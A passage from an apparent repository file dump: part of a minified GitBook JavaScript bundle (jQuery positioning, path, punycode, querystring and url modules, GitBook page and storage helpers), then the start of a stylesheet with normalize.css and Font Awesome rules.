r,o,i,s,a,u,c,l=de.css(e,\"position\"),f=de(e),p={};\"static\"===l&&(e.style.position=\"relative\"),a=f.offset(),i=de.css(e,\"top\"),u=de.css(e,\"left\"),c=(\"absolute\"===l||\"fixed\"===l)&&(i+u).indexOf(\"auto\")>-1,c?(r=f.position(),s=r.top,o=r.left):(s=parseFloat(i)||0,o=parseFloat(u)||0),de.isFunction(t)&&(t=t.call(e,n,de.extend({},a))),null!=t.top&&(p.top=t.top-a.top+s),null!=t.left&&(p.left=t.left-a.left+o),\"using\"in t?t.using.call(e,p):f.css(p)}},de.fn.extend({offset:function(e){if(arguments.length)return void 0===e?this:this.each(function(t){de.offset.setOffset(this,e,t)});var t,n,r,o,i=this[0];if(i)return i.getClientRects().length?(r=i.getBoundingClientRect(),r.width||r.height?(o=i.ownerDocument,n=Z(o),t=o.documentElement,{top:r.top+n.pageYOffset-t.clientTop,left:r.left+n.pageXOffset-t.clientLeft}):r):{top:0,left:0}},position:function(){if(this[0]){var e,t,n=this[0],r={top:0,left:0};return\"fixed\"===de.css(n,\"position\")?t=n.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),de.nodeName(e[0],\"html\")||(r=e.offset()),r={top:r.top+de.css(e[0],\"borderTopWidth\",!0),left:r.left+de.css(e[0],\"borderLeftWidth\",!0)}),{top:t.top-r.top-de.css(n,\"marginTop\",!0),left:t.left-r.left-de.css(n,\"marginLeft\",!0)}}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent;e&&\"static\"===de.css(e,\"position\");)e=e.offsetParent;return e||Qe})}}),de.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(e,t){var n=\"pageYOffset\"===t;de.fn[e]=function(r){return Le(this,function(e,r,o){var i=Z(e);return void 0===o?i?i[t]:e[r]:void(i?i.scrollTo(n?i.pageXOffset:o,n?o:i.pageYOffset):e[r]=o)},e,r,arguments.length)}}),de.each([\"top\",\"left\"],function(e,t){de.cssHooks[t]=O(pe.pixelPosition,function(e,n){if(n)return n=D(e,t),st.test(n)?de(e).position()[t]+\"px\":n})}),de.each({Height:\"height\",Width:\"width\"},function(e,t){de.each({padding:\"inner\"+e,content:t,\"\":\"outer\"+e},function(n,r){de.fn[r]=function(o,i){var s=arguments.length&&(n||\"boolean\"!=typeof o),a=n||(o===!0||i===!0?\"margin\":\"border\");return Le(this,function(t,n,o){var i;return de.isWindow(t)?0===r.indexOf(\"outer\")?t[\"inner\"+e]:t.document.documentElement[\"client\"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body[\"scroll\"+e],i[\"scroll\"+e],t.body[\"offset\"+e],i[\"offset\"+e],i[\"client\"+e])):void 0===o?de.css(t,n,a):de.style(t,n,o,a)},t,s?o:void 0,s)}})}),de.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),de.parseJSON=JSON.parse,\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return de});var zt=e.jQuery,Xt=e.$;return de.noConflict=function(t){return e.$===de&&(e.$=Xt),t&&e.jQuery===de&&(e.jQuery=zt),de},t||(e.jQuery=e.$=de),de})},{}],2:[function(e,t,n){(function(e){function t(e,t){for(var n=0,r=e.length-1;r>=0;r--){var o=e[r];\".\"===o?e.splice(r,1):\"..\"===o?(e.splice(r,1),n++):n&&(e.splice(r,1),n--)}if(t)for(;n--;n)e.unshift(\"..\");return e}function r(e,t){if(e.filter)return e.filter(t);for(var n=[],r=0;r<e.length;r++)t(e[r],r,e)&&n.push(e[r]);return n}var o=/^(\\/?|)([\\s\\S]*?)((?:\\.{1,2}|[^\\/]+?|)(\\.[^.\\/]*|))(?:[\\/]*)$/,i=function(e){return o.exec(e).slice(1)};n.resolve=function(){for(var n=\"\",o=!1,i=arguments.length-1;i>=-1&&!o;i--){var s=i>=0?arguments[i]:e.cwd();if(\"string\"!=typeof s)throw new TypeError(\"Arguments to path.resolve must be strings\");s&&(n=s+\"/\"+n,o=\"/\"===s.charAt(0))}return n=t(r(n.split(\"/\"),function(e){return!!e}),!o).join(\"/\"),(o?\"/\":\"\")+n||\".\"},n.normalize=function(e){var o=n.isAbsolute(e),i=\"/\"===s(e,-1);return e=t(r(e.split(\"/\"),function(e){return!!e}),!o).join(\"/\"),e||o||(e=\".\"),e&&i&&(e+=\"/\"),(o?\"/\":\"\")+e},n.isAbsolute=function(e){return\"/\"===e.charAt(0)},n.join=function(){var e=Array.prototype.slice.call(arguments,0);return n.normalize(r(e,function(e,t){if(\"string\"!=typeof e)throw new TypeError(\"Arguments to path.join must be strings\");return e}).join(\"/\"))},n.relative=function(e,t){function r(e){for(var t=0;t<e.length&&\"\"===e[t];t++);for(var n=e.length-1;n>=0&&\"\"===e[n];n--);return t>n?[]:e.slice(t,n-t+1)}e=n.resolve(e).substr(1),t=n.resolve(t).substr(1);for(var o=r(e.split(\"/\")),i=r(t.split(\"/\")),s=Math.min(o.length,i.length),a=s,u=0;u<s;u++)if(o[u]!==i[u]){a=u;break}for(var c=[],u=a;u<o.length;u++)c.push(\"..\");return c=c.concat(i.slice(a)),c.join(\"/\")},n.sep=\"/\",n.delimiter=\":\",n.dirname=function(e){var t=i(e),n=t[0],r=t[1];return n||r?(r&&(r=r.substr(0,r.length-1)),n+r):\".\"},n.basename=function(e,t){var n=i(e)[2];return t&&n.substr(-1*t.length)===t&&(n=n.substr(0,n.length-t.length)),n},n.extname=function(e){return i(e)[3]};var s=\"b\"===\"ab\".substr(-1)?function(e,t,n){return e.substr(t,n)}:function(e,t,n){return t<0&&(t=e.length+t),e.substr(t,n)}}).call(this,e(\"_process\"))},{_process:3}],3:[function(e,t,n){function r(){throw new Error(\"setTimeout has not been defined\")}function o(){throw new Error(\"clearTimeout has not been defined\")}function i(e){if(f===setTimeout)return setTimeout(e,0);if((f===r||!f)&&setTimeout)return f=setTimeout,setTimeout(e,0);try{return f(e,0)}catch(t){try{return f.call(null,e,0)}catch(t){return f.call(this,e,0)}}}function s(e){if(p===clearTimeout)return clearTimeout(e);if((p===o||!p)&&clearTimeout)return p=clearTimeout,clearTimeout(e);try{return p(e)}catch(t){try{return p.call(null,e)}catch(t){return p.call(this,e)}}}function a(){m&&d&&(m=!1,d.length?g=d.concat(g):v=-1,g.length&&u())}function u(){if(!m){var e=i(a);m=!0;for(var t=g.length;t;){for(d=g,g=[];++v<t;)d&&d[v].run();v=-1,t=g.length}d=null,m=!1,s(e)}}function c(e,t){this.fun=e,this.array=t}function l(){}var f,p,h=t.exports={};!function(){try{f=\"function\"==typeof setTimeout?setTimeout:r}catch(e){f=r}try{p=\"function\"==typeof clearTimeout?clearTimeout:o}catch(e){p=o}}();var d,g=[],m=!1,v=-1;h.nextTick=function(e){var t=new Array(arguments.length-1);if(arguments.length>1)for(var n=1;n<arguments.length;n++)t[n-1]=arguments[n];g.push(new c(e,t)),1!==g.length||m||i(u)},c.prototype.run=function(){this.fun.apply(null,this.array)},h.title=\"browser\",h.browser=!0,h.env={},h.argv=[],h.version=\"\",h.versions={},h.on=l,h.addListener=l,h.once=l,h.off=l,h.removeListener=l,h.removeAllListeners=l,h.emit=l,h.prependListener=l,h.prependOnceListener=l,h.listeners=function(e){return[]},h.binding=function(e){throw new Error(\"process.binding is not supported\")},h.cwd=function(){return\"/\"},h.chdir=function(e){throw new Error(\"process.chdir is not supported\")},h.umask=function(){return 0}},{}],4:[function(e,t,n){(function(e){!function(r){function o(e){throw new RangeError(L[e])}function i(e,t){for(var n=e.length,r=[];n--;)r[n]=t(e[n]);return r}function s(e,t){var n=e.split(\"@\"),r=\"\";n.length>1&&(r=n[0]+\"@\",e=n[1]),e=e.replace(O,\".\");var o=e.split(\".\"),s=i(o,t).join(\".\");return r+s}function a(e){for(var t,n,r=[],o=0,i=e.length;o<i;)t=e.charCodeAt(o++),t>=55296&&t<=56319&&o<i?(n=e.charCodeAt(o++),56320==(64512&n)?r.push(((1023&t)<<10)+(1023&n)+65536):(r.push(t),o--)):r.push(t);return r}function u(e){return i(e,function(e){var t=\"\";return e>65535&&(e-=65536,t+=R(e>>>10&1023|55296),e=56320|1023&e),t+=R(e)}).join(\"\")}function c(e){return e-48<10?e-22:e-65<26?e-65:e-97<26?e-97:T}function l(e,t){return e+22+75*(e<26)-((0!=t)<<5)}function f(e,t,n){var r=0;for(e=n?F(e/E):e>>1,e+=F(e/t);e>H*j>>1;r+=T)e=F(e/H);return F(r+(H+1)*e/(e+k))}function p(e){var t,n,r,i,s,a,l,p,h,d,g=[],m=e.length,v=0,y=N,x=S;for(n=e.lastIndexOf(A),n<0&&(n=0),r=0;r<n;++r)e.charCodeAt(r)>=128&&o(\"not-basic\"),g.push(e.charCodeAt(r));for(i=n>0?n+1:0;i<m;){for(s=v,a=1,l=T;i>=m&&o(\"invalid-input\"),p=c(e.charCodeAt(i++)),(p>=T||p>F((w-v)/a))&&o(\"overflow\"),v+=p*a,h=l<=x?C:l>=x+j?j:l-x,!(p<h);l+=T)d=T-h,a>F(w/d)&&o(\"overflow\"),a*=d;t=g.length+1,x=f(v-s,t,0==s),F(v/t)>w-y&&o(\"overflow\"),y+=F(v/t),v%=t,g.splice(v++,0,y)}return u(g)}function h(e){var t,n,r,i,s,u,c,p,h,d,g,m,v,y,x,b=[];for(e=a(e),m=e.length,t=N,n=0,s=S,u=0;u<m;++u)g=e[u],g<128&&b.push(R(g));for(r=i=b.length,i&&b.push(A);r<m;){for(c=w,u=0;u<m;++u)g=e[u],g>=t&&g<c&&(c=g);for(v=r+1,c-t>F((w-n)/v)&&o(\"overflow\"),n+=(c-t)*v,t=c,u=0;u<m;++u)if(g=e[u],g<t&&++n>w&&o(\"overflow\"),g==t){for(p=n,h=T;d=h<=s?C:h>=s+j?j:h-s,!(p<d);h+=T)x=p-d,y=T-d,b.push(R(l(d+x%y,0))),p=F(x/y);b.push(R(l(p,0))),s=f(n,v,r==i),n=0,++r}++n,++t}return b.join(\"\")}function d(e){return s(e,function(e){return q.test(e)?p(e.slice(4).toLowerCase()):e})}function g(e){return s(e,function(e){return D.test(e)?\"xn--\"+h(e):e})}var m=\"object\"==typeof n&&n&&!n.nodeType&&n,v=\"object\"==typeof t&&t&&!t.nodeType&&t,y=\"object\"==typeof e&&e;y.global!==y&&y.window!==y&&y.self!==y||(r=y);var x,b,w=2147483647,T=36,C=1,j=26,k=38,E=700,S=72,N=128,A=\"-\",q=/^xn--/,D=/[^\\x20-\\x7E]/,O=/[\\x2E\\u3002\\uFF0E\\uFF61]/g,L={overflow:\"Overflow: input needs wider integers to process\",\"not-basic\":\"Illegal input >= 0x80 (not a basic code point)\",\"invalid-input\":\"Invalid input\"},H=T-C,F=Math.floor,R=String.fromCharCode;if(x={version:\"1.4.1\",ucs2:{decode:a,encode:u},decode:p,encode:h,toASCII:g,toUnicode:d},\"function\"==typeof define&&\"object\"==typeof define.amd&&define.amd)define(\"punycode\",function(){return x});else if(m&&v)if(t.exports==m)v.exports=x;else for(b in x)x.hasOwnProperty(b)&&(m[b]=x[b]);else r.punycode=x}(this)}).call(this,\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:\"undefined\"!=typeof window?window:{})},{}],5:[function(e,t,n){\"use strict\";function r(e,t){return Object.prototype.hasOwnProperty.call(e,t)}t.exports=function(e,t,n,i){t=t||\"&\",n=n||\"=\";var s={};if(\"string\"!=typeof e||0===e.length)return s;var a=/\\+/g;e=e.split(t);var u=1e3;i&&\"number\"==typeof i.maxKeys&&(u=i.maxKeys);var c=e.length;u>0&&c>u&&(c=u);for(var l=0;l<c;++l){var f,p,h,d,g=e[l].replace(a,\"%20\"),m=g.indexOf(n);m>=0?(f=g.substr(0,m),p=g.substr(m+1)):(f=g,p=\"\"),h=decodeURIComponent(f),d=decodeURIComponent(p),r(s,h)?o(s[h])?s[h].push(d):s[h]=[s[h],d]:s[h]=d}return s};var o=Array.isArray||function(e){return\"[object Array]\"===Object.prototype.toString.call(e)}},{}],6:[function(e,t,n){\"use strict\";function r(e,t){if(e.map)return e.map(t);for(var n=[],r=0;r<e.length;r++)n.push(t(e[r],r));return n}var o=function(e){switch(typeof e){case\"string\":return e;case\"boolean\":return e?\"true\":\"false\";case\"number\":return isFinite(e)?e:\"\";default:return\"\"}};t.exports=function(e,t,n,a){return t=t||\"&\",n=n||\"=\",null===e&&(e=void 0),\"object\"==typeof e?r(s(e),function(s){var a=encodeURIComponent(o(s))+n;return i(e[s])?r(e[s],function(e){return a+encodeURIComponent(o(e))}).join(t):a+encodeURIComponent(o(e[s]))}).join(t):a?encodeURIComponent(o(a))+n+encodeURIComponent(o(e)):\"\"};var i=Array.isArray||function(e){return\"[object Array]\"===Object.prototype.toString.call(e)},s=Object.keys||function(e){var t=[];for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&t.push(n);return t}},{}],7:[function(e,t,n){\"use strict\";n.decode=n.parse=e(\"./decode\"),n.encode=n.stringify=e(\"./encode\")},{\"./decode\":5,\"./encode\":6}],8:[function(e,t,n){\"use strict\";function r(){this.protocol=null,this.slashes=null,this.auth=null,this.host=null,this.port=null,this.hostname=null,this.hash=null,this.search=null,this.query=null,this.pathname=null,this.path=null,this.href=null}function o(e,t,n){\nif(e&&c.isObject(e)&&e instanceof r)return e;var o=new r;return o.parse(e,t,n),o}function i(e){return c.isString(e)&&(e=o(e)),e instanceof r?e.format():r.prototype.format.call(e)}function s(e,t){return o(e,!1,!0).resolve(t)}function a(e,t){return e?o(e,!1,!0).resolveObject(t):t}var u=e(\"punycode\"),c=e(\"./util\");n.parse=o,n.resolve=s,n.resolveObject=a,n.format=i,n.Url=r;var l=/^([a-z0-9.+-]+:)/i,f=/:[0-9]*$/,p=/^(\\/\\/?(?!\\/)[^\\?\\s]*)(\\?[^\\s]*)?$/,h=[\"<\",\">\",'\"',\"`\",\" \",\"\\r\",\"\\n\",\"\\t\"],d=[\"{\",\"}\",\"|\",\"\\\\\",\"^\",\"`\"].concat(h),g=[\"'\"].concat(d),m=[\"%\",\"/\",\"?\",\";\",\"#\"].concat(g),v=[\"/\",\"?\",\"#\"],y=255,x=/^[+a-z0-9A-Z_-]{0,63}$/,b=/^([+a-z0-9A-Z_-]{0,63})(.*)$/,w={javascript:!0,\"javascript:\":!0},T={javascript:!0,\"javascript:\":!0},C={http:!0,https:!0,ftp:!0,gopher:!0,file:!0,\"http:\":!0,\"https:\":!0,\"ftp:\":!0,\"gopher:\":!0,\"file:\":!0},j=e(\"querystring\");r.prototype.parse=function(e,t,n){if(!c.isString(e))throw new TypeError(\"Parameter 'url' must be a string, not \"+typeof e);var r=e.indexOf(\"?\"),o=r!==-1&&r<e.indexOf(\"#\")?\"?\":\"#\",i=e.split(o),s=/\\\\/g;i[0]=i[0].replace(s,\"/\"),e=i.join(o);var a=e;if(a=a.trim(),!n&&1===e.split(\"#\").length){var f=p.exec(a);if(f)return this.path=a,this.href=a,this.pathname=f[1],f[2]?(this.search=f[2],t?this.query=j.parse(this.search.substr(1)):this.query=this.search.substr(1)):t&&(this.search=\"\",this.query={}),this}var h=l.exec(a);if(h){h=h[0];var d=h.toLowerCase();this.protocol=d,a=a.substr(h.length)}if(n||h||a.match(/^\\/\\/[^@\\/]+@[^@\\/]+/)){var k=\"//\"===a.substr(0,2);!k||h&&T[h]||(a=a.substr(2),this.slashes=!0)}if(!T[h]&&(k||h&&!C[h])){for(var E=-1,S=0;S<v.length;S++){var N=a.indexOf(v[S]);N!==-1&&(E===-1||N<E)&&(E=N)}var A,q;q=E===-1?a.lastIndexOf(\"@\"):a.lastIndexOf(\"@\",E),q!==-1&&(A=a.slice(0,q),a=a.slice(q+1),this.auth=decodeURIComponent(A)),E=-1;for(var S=0;S<m.length;S++){var N=a.indexOf(m[S]);N!==-1&&(E===-1||N<E)&&(E=N)}E===-1&&(E=a.length),this.host=a.slice(0,E),a=a.slice(E),this.parseHost(),this.hostname=this.hostname||\"\";var D=\"[\"===this.hostname[0]&&\"]\"===this.hostname[this.hostname.length-1];if(!D)for(var O=this.hostname.split(/\\./),S=0,L=O.length;S<L;S++){var H=O[S];if(H&&!H.match(x)){for(var F=\"\",R=0,I=H.length;R<I;R++)F+=H.charCodeAt(R)>127?\"x\":H[R];if(!F.match(x)){var P=O.slice(0,S),M=O.slice(S+1),$=H.match(b);$&&(P.push($[1]),M.unshift($[2])),M.length&&(a=\"/\"+M.join(\".\")+a),this.hostname=P.join(\".\");break}}}this.hostname.length>y?this.hostname=\"\":this.hostname=this.hostname.toLowerCase(),D||(this.hostname=u.toASCII(this.hostname));var W=this.port?\":\"+this.port:\"\",B=this.hostname||\"\";this.host=B+W,this.href+=this.host,D&&(this.hostname=this.hostname.substr(1,this.hostname.length-2),\"/\"!==a[0]&&(a=\"/\"+a))}if(!w[d])for(var S=0,L=g.length;S<L;S++){var _=g[S];if(a.indexOf(_)!==-1){var U=encodeURIComponent(_);U===_&&(U=escape(_)),a=a.split(_).join(U)}}var z=a.indexOf(\"#\");z!==-1&&(this.hash=a.substr(z),a=a.slice(0,z));var X=a.indexOf(\"?\");if(X!==-1?(this.search=a.substr(X),this.query=a.substr(X+1),t&&(this.query=j.parse(this.query)),a=a.slice(0,X)):t&&(this.search=\"\",this.query={}),a&&(this.pathname=a),C[d]&&this.hostname&&!this.pathname&&(this.pathname=\"/\"),this.pathname||this.search){var W=this.pathname||\"\",V=this.search||\"\";this.path=W+V}return this.href=this.format(),this},r.prototype.format=function(){var e=this.auth||\"\";e&&(e=encodeURIComponent(e),e=e.replace(/%3A/i,\":\"),e+=\"@\");var t=this.protocol||\"\",n=this.pathname||\"\",r=this.hash||\"\",o=!1,i=\"\";this.host?o=e+this.host:this.hostname&&(o=e+(this.hostname.indexOf(\":\")===-1?this.hostname:\"[\"+this.hostname+\"]\"),this.port&&(o+=\":\"+this.port)),this.query&&c.isObject(this.query)&&Object.keys(this.query).length&&(i=j.stringify(this.query));var s=this.search||i&&\"?\"+i||\"\";return t&&\":\"!==t.substr(-1)&&(t+=\":\"),this.slashes||(!t||C[t])&&o!==!1?(o=\"//\"+(o||\"\"),n&&\"/\"!==n.charAt(0)&&(n=\"/\"+n)):o||(o=\"\"),r&&\"#\"!==r.charAt(0)&&(r=\"#\"+r),s&&\"?\"!==s.charAt(0)&&(s=\"?\"+s),n=n.replace(/[?#]/g,function(e){return encodeURIComponent(e)}),s=s.replace(\"#\",\"%23\"),t+o+n+s+r},r.prototype.resolve=function(e){return this.resolveObject(o(e,!1,!0)).format()},r.prototype.resolveObject=function(e){if(c.isString(e)){var t=new r;t.parse(e,!1,!0),e=t}for(var n=new r,o=Object.keys(this),i=0;i<o.length;i++){var s=o[i];n[s]=this[s]}if(n.hash=e.hash,\"\"===e.href)return n.href=n.format(),n;if(e.slashes&&!e.protocol){for(var a=Object.keys(e),u=0;u<a.length;u++){var l=a[u];\"protocol\"!==l&&(n[l]=e[l])}return C[n.protocol]&&n.hostname&&!n.pathname&&(n.path=n.pathname=\"/\"),n.href=n.format(),n}if(e.protocol&&e.protocol!==n.protocol){if(!C[e.protocol]){for(var f=Object.keys(e),p=0;p<f.length;p++){var h=f[p];n[h]=e[h]}return n.href=n.format(),n}if(n.protocol=e.protocol,e.host||T[e.protocol])n.pathname=e.pathname;else{for(var d=(e.pathname||\"\").split(\"/\");d.length&&!(e.host=d.shift()););e.host||(e.host=\"\"),e.hostname||(e.hostname=\"\"),\"\"!==d[0]&&d.unshift(\"\"),d.length<2&&d.unshift(\"\"),n.pathname=d.join(\"/\")}if(n.search=e.search,n.query=e.query,n.host=e.host||\"\",n.auth=e.auth,n.hostname=e.hostname||e.host,n.port=e.port,n.pathname||n.search){var g=n.pathname||\"\",m=n.search||\"\";n.path=g+m}return n.slashes=n.slashes||e.slashes,n.href=n.format(),n}var v=n.pathname&&\"/\"===n.pathname.charAt(0),y=e.host||e.pathname&&\"/\"===e.pathname.charAt(0),x=y||v||n.host&&e.pathname,b=x,w=n.pathname&&n.pathname.split(\"/\")||[],d=e.pathname&&e.pathname.split(\"/\")||[],j=n.protocol&&!C[n.protocol];if(j&&(n.hostname=\"\",n.port=null,n.host&&(\"\"===w[0]?w[0]=n.host:w.unshift(n.host)),n.host=\"\",e.protocol&&(e.hostname=null,e.port=null,e.host&&(\"\"===d[0]?d[0]=e.host:d.unshift(e.host)),e.host=null),x=x&&(\"\"===d[0]||\"\"===w[0])),y)n.host=e.host||\"\"===e.host?e.host:n.host,n.hostname=e.hostname||\"\"===e.hostname?e.hostname:n.hostname,n.search=e.search,n.query=e.query,w=d;else if(d.length)w||(w=[]),w.pop(),w=w.concat(d),n.search=e.search,n.query=e.query;else if(!c.isNullOrUndefined(e.search)){if(j){n.hostname=n.host=w.shift();var k=!!(n.host&&n.host.indexOf(\"@\")>0)&&n.host.split(\"@\");k&&(n.auth=k.shift(),n.host=n.hostname=k.shift())}return n.search=e.search,n.query=e.query,c.isNull(n.pathname)&&c.isNull(n.search)||(n.path=(n.pathname?n.pathname:\"\")+(n.search?n.search:\"\")),n.href=n.format(),n}if(!w.length)return n.pathname=null,n.search?n.path=\"/\"+n.search:n.path=null,n.href=n.format(),n;for(var E=w.slice(-1)[0],S=(n.host||e.host||w.length>1)&&(\".\"===E||\"..\"===E)||\"\"===E,N=0,A=w.length;A>=0;A--)E=w[A],\".\"===E?w.splice(A,1):\"..\"===E?(w.splice(A,1),N++):N&&(w.splice(A,1),N--);if(!x&&!b)for(;N--;N)w.unshift(\"..\");!x||\"\"===w[0]||w[0]&&\"/\"===w[0].charAt(0)||w.unshift(\"\"),S&&\"/\"!==w.join(\"/\").substr(-1)&&w.push(\"\");var q=\"\"===w[0]||w[0]&&\"/\"===w[0].charAt(0);if(j){n.hostname=n.host=q?\"\":w.length?w.shift():\"\";var k=!!(n.host&&n.host.indexOf(\"@\")>0)&&n.host.split(\"@\");k&&(n.auth=k.shift(),n.host=n.hostname=k.shift())}return x=x||n.host&&w.length,x&&!q&&w.unshift(\"\"),w.length?n.pathname=w.join(\"/\"):(n.pathname=null,n.path=null),c.isNull(n.pathname)&&c.isNull(n.search)||(n.path=(n.pathname?n.pathname:\"\")+(n.search?n.search:\"\")),n.auth=e.auth||n.auth,n.slashes=n.slashes||e.slashes,n.href=n.format(),n},r.prototype.parseHost=function(){var e=this.host,t=f.exec(e);t&&(t=t[0],\":\"!==t&&(this.port=t.substr(1)),e=e.substr(0,e.length-t.length)),e&&(this.hostname=e)}},{\"./util\":9,punycode:4,querystring:7}],9:[function(e,t,n){\"use strict\";t.exports={isString:function(e){return\"string\"==typeof e},isObject:function(e){return\"object\"==typeof e&&null!==e},isNull:function(e){return null===e},isNullOrUndefined:function(e){return null==e}}},{}],10:[function(e,t,n){var r=e(\"jquery\");t.exports=r({})},{jquery:1}],11:[function(e,t,n){var r=e(\"jquery\"),o=e(\"./events\"),i=e(\"./storage\"),s=e(\"./page\"),a=!1,u=window.gitbook||[],c={events:o,page:s,state:s.getState(),storage:i,push:function(e){a?e():u.push(e)}},l={gitbook:c,jquery:r};window.gitbook=c,window.$=r,window.jQuery=r,window.require=function(e,t){e=e.map(function(e){if(e=e.toLowerCase(),!l[e])throw new Error(\"GitBook module \"+e+\" doesn't exist\");return l[e]}),t.apply(null,e)},r(document).ready(function(){a=!0,r.each(u,function(e,t){t()})})},{\"./events\":10,\"./page\":12,\"./storage\":13,jquery:1}],12:[function(e,t,n){function r(e){console.log(\"page has changed\",e),o(e),l||(l=!0,c.trigger(\"start\",e.config.pluginsConfig)),c.trigger(\"page.change\")}function o(e){f.page=e.page,f.file=e.file,f.gitbook=e.gitbook,f.config=e.config,f.basePath=e.basePath,f.book=e.book,f.$book=s(\".book\"),f.revision=f.gitbook.time,f.level=f.page.level,f.filepath=f.file.path,f.chapterTitle=f.page.title,f.innerLanguage=f.book.language||\"\",f.root=a.resolve(location.protocol+\"//\"+location.host,u.dirname(u.resolve(location.pathname.replace(/\\/$/,\"/index.html\"),f.basePath))).replace(/\\/?$/,\"/\"),f.bookRoot=f.innerLanguage?a.resolve(f.root,\"..\"):f.root}function i(){return f}var s=e(\"jquery\"),a=e(\"url\"),u=e(\"path\"),c=e(\"./events\"),l=!1,f={};t.exports={hasChanged:r,setState:o,getState:i}},{\"./events\":10,jquery:1,path:2,url:8}],13:[function(e,t,n){var r=\"\";t.exports={setBaseKey:function(e){r=e},set:function(e,t){e=r+\":\"+e;try{localStorage[e]=JSON.stringify(t)}catch(e){}},get:function(e,t){var n;e=r+\":\"+e;try{n=localStorage[e]}catch(e){}if(void 0===n)return t;try{var o=JSON.parse(n);return null==o?t:o}catch(e){return n||t}},remove:function(e){e=r+\":\"+e;try{localStorage.removeItem(e)}catch(e){}}}},{}]},{},[11]);\n"
  },
  {
    "path": "docs/gitbook/style.css",
    "content": "/*! normalize.css v2.1.0 | MIT License | git.io/normalize */article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}audio:not([controls]){display:none;height:0}[hidden]{display:none}html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}a:focus{outline:thin dotted}a:active,a:hover{outline:0}h1{font-size:2em;margin:.67em 0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}mark{background:#ff0;color:#000}code,kbd,pre,samp{font-family:monospace,serif;font-size:1em}pre{white-space:pre-wrap}q{quotes:\"\\201C\" \"\\201D\" \"\\2018\" \"\\2019\"}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:0}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}button,input,select,textarea{font-family:inherit;font-size:100%;margin:0}button,input{line-height:normal}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=search]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}textarea{overflow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}.link-inherit{color:inherit}.link-inherit:focus,.link-inherit:hover{color:inherit}.hidden{display:none}.alert{padding:15px;margin-bottom:20px;color:#444;background:#eee;border-bottom:5px solid #ddd}.alert-success{background:#dff0d8;border-color:#d6e9c6;color:#3c763d}.alert-info{background:#d9edf7;border-color:#bce8f1;color:#31708f}.alert-danger{background:#f2dede;border-color:#ebccd1;color:#a94442}.alert-warning{background:#fcf8e3;border-color:#faebcc;color:#8a6d3b}/*!\n *  Font Awesome 4.6.3 by @davegandy - http://fontawesome.io - @fontawesome\n *  License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)\n */@font-face{font-family:FontAwesome;src:url(fonts/fontawesome/fontawesome-webfont.eot?v=4.6.3);src:url(fonts/fontawesome/fontawesome-webfont.eot?#iefix&v=4.6.3) format('embedded-opentype'),url(fonts/fontawesome/fontawesome-webfont.woff2?v=4.6.3) format('woff2'),url(fonts/fontawesome/fontawesome-webfont.woff?v=4.6.3) format('woff'),url(fonts/fontawesome/fontawesome-webfont.ttf?v=4.6.3) format('truetype'),url(fonts/fontawesome/fontawesome-webfont.svg?v=4.6.3#fontawesomeregular) format('svg');font-weight:400;font-style:normal}.fa{display:inline-block;font:normal normal normal 14px/1 FontAwesome;font-size:inherit;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.fa-lg{font-size:1.33333333em;line-height:.75em;vertical-align:-15%}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-fw{width:1.28571429em;text-align:center}.fa-ul{padding-left:0;margin-left:2.14285714em;list-style-type:none}.fa-ul>li{position:relative}.fa-li{position:absolute;left:-2.14285714em;width:2.14285714em;top:.14285714em;text-align:center}.fa-li.fa-lg{left:-1.85714286em}.fa-border{padding:.2em .25em .15em;border:solid .08em #eee;border-radius:.1em}.fa-pull-left{float:left}.fa-pull-right{float:right}.fa.fa-pull-left{margin-right:.3em}.fa.fa-pull-right{margin-left:.3em}.pull-right{float:right}.pull-left{float:left}.fa.pull-left{margin-right:.3em}.fa.pull-right{margin-left:.3em}.fa-spin{-webkit-animation:fa-spin 2s infinite linear;animation:fa-spin 2s infinite linear}.fa-pulse{-webkit-animation:fa-spin 1s infinite steps(8);animation:fa-spin 1s infinite steps(8)}@-webkit-keyframes fa-spin{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes 